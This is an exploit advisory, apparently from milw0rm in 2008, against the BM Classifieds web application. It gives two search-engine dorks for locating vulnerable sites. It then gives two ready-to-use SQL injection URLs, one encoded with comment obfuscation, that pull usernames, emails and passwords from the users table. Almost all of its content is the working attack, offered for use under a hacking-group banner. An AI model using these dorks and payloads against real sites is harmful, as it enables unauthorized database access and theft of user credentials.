49 lines
No EOL
1.5 KiB
Text
49 lines
No EOL
1.5 KiB
Text
..##.....##
|
|
...##...##
|
|
....##.##
|
|
.....###CoRPITX
|
|
.....###
|
|
....##.##
|
|
...##...##
|
|
..##.....##
|
|
|
|
########################### Turkey ####################################
|
|
# #
|
|
#################### www.Hayalet-hack.com #############################
|
|
#
|
|
##################### www.zone-turk.net/###############################
|
|
#
|
|
#Powered by BM Classifieds (listingid),(ad)SQL Injection Vulnerability
|
|
#
|
|
#######################################################################
|
|
#
|
|
# AUTHOR : xcorpitx
|
|
#
|
|
# HOME : www.Hayalet-hack.com / www.zone-turk.net
|
|
#
|
|
########################################################################
|
|
|
|
########################################################################
|
|
#
|
|
# Dork 1 : ''showad.php?listingid=''
|
|
#
|
|
# Dork 2 : ''pfriendly.php?ad=''
|
|
#
|
|
########################################################################
|
|
#
|
|
# EXPLOIT:
|
|
#
|
|
########################################################################
|
|
#
|
|
#
|
|
showad.php?listingid=xCoRpiTx&cat=-99/**/union+select/**/concat(username,0x3a,email),password,2/**/from/**/users/*
|
|
#
|
|
#
|
|
pfriendly.php?ad=-99%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0,1,concat(username,0x3a,email),password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%2F%2A%2A%2Ffrom%2F%2A%2A%2Fusers%2F%2A%2A%2F
|
|
#
|
|
#
|
|
########################################################################
|
|
|
|
Thanx :str0ke, pc faresi, s@bun,D3ng3s!z,hayalet,Turque,SmoKin
|
|
|
|
# milw0rm.com [2008-03-09] |